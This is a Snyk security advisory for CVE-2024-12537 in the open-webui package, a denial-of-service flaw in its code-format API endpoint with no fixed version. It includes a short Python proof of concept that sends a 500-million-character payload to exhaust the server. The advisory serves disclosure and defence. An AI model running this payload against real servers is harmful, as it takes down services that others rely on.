Allocation of Resources Without Limits or Throttling Affecting open-webui package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.26% (49th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-OPENWEBUI-9680268
  • published10 Apr 2025
  • disclosed20 Mar 2025
  • creditM Nadeem Qazi

Introduced: 20 Mar 2025

NewCVE-2024-12537  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

There is no fixed version for open-webui.

Overview

open-webui is an Open WebUI

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the api/v1/utils/code/format endpoint. An attacker can cause the server to become unresponsive or experience significant degradation by sending a POST request with an excessively high volume of content.

PoC

import requests

num = 500000000 # Must not cross 8 zero. with 9 zero it throws 400 Bad Request

# Construct the code with the specified number of characters
code_value = "5" * num

# Define the URL and headers
url = "http://localhost:8080/api/v1/utils/code/format"


# Define the payload
payload = {
    "code": code_value
}

# Send the POST request
response = requests.post(url, json=payload)

References

CVSS Base Scores

version 4.0
version 3.1